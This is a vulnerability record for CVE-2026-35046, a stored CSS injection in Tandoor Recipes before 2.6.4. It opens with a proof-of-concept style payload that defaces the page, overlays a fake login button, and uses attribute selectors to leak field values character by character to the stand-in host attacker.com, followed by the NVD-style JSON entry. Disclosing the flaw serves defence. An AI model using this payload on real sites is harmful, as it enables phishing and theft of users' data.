CVE-2026-35046

<!-- PoC for CVE-2026-35046: Inject CSS into Recipe Step --> <style> /* Visual Defacement: Change background color */ body { background-color: #ff0000; } /* UI Redressing: Overlay a fake login button */ .fake-login { position: fixed; top: 50%; left: 50%; width: 200px; height: 50px; background: #fff; border: 1px solid #000; z-index: 9999; content: "Login Now"; } /* Data Exfiltration: Exfiltrate data if specific element exists */ .sensitive-info[value^="a"] { background-image: url("https://attacker.com/log?char=a"); } .sensitive-info[value^="b"] { background-image: url("https://attacker.com/log?char=b"); } </style> <p>This recipe step contains malicious CSS.</p>

{"cve": {"id": "CVE-2026-35046", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:42.287", "lastModified": "2026-04-10T18:33:43.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.4, Tandoor Recipes allows authenticated users to inject arbitrary <style> tags into recipe step instructions. The bleach.clean() sanitizer explicitly whitelists the <style> tag, causing the backend to persist and serve unsanitized CSS payloads via the API. Any client consuming instructions_markdown from the API and rendering it as HTML without additional sanitization will execute attacker-controlled CSS — enabling UI redressing, phishing overlays, visual defacement, and CSS-based data exfiltration. This vulnerability is fixed in 2.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.4", "matchCriteriaId": "D29C4837-2650-4BEF-A332-657E7D593877"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/releases/tag/2.6.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-9hhh-g2fc-r8x2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-9hhh-g2fc-r8x2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}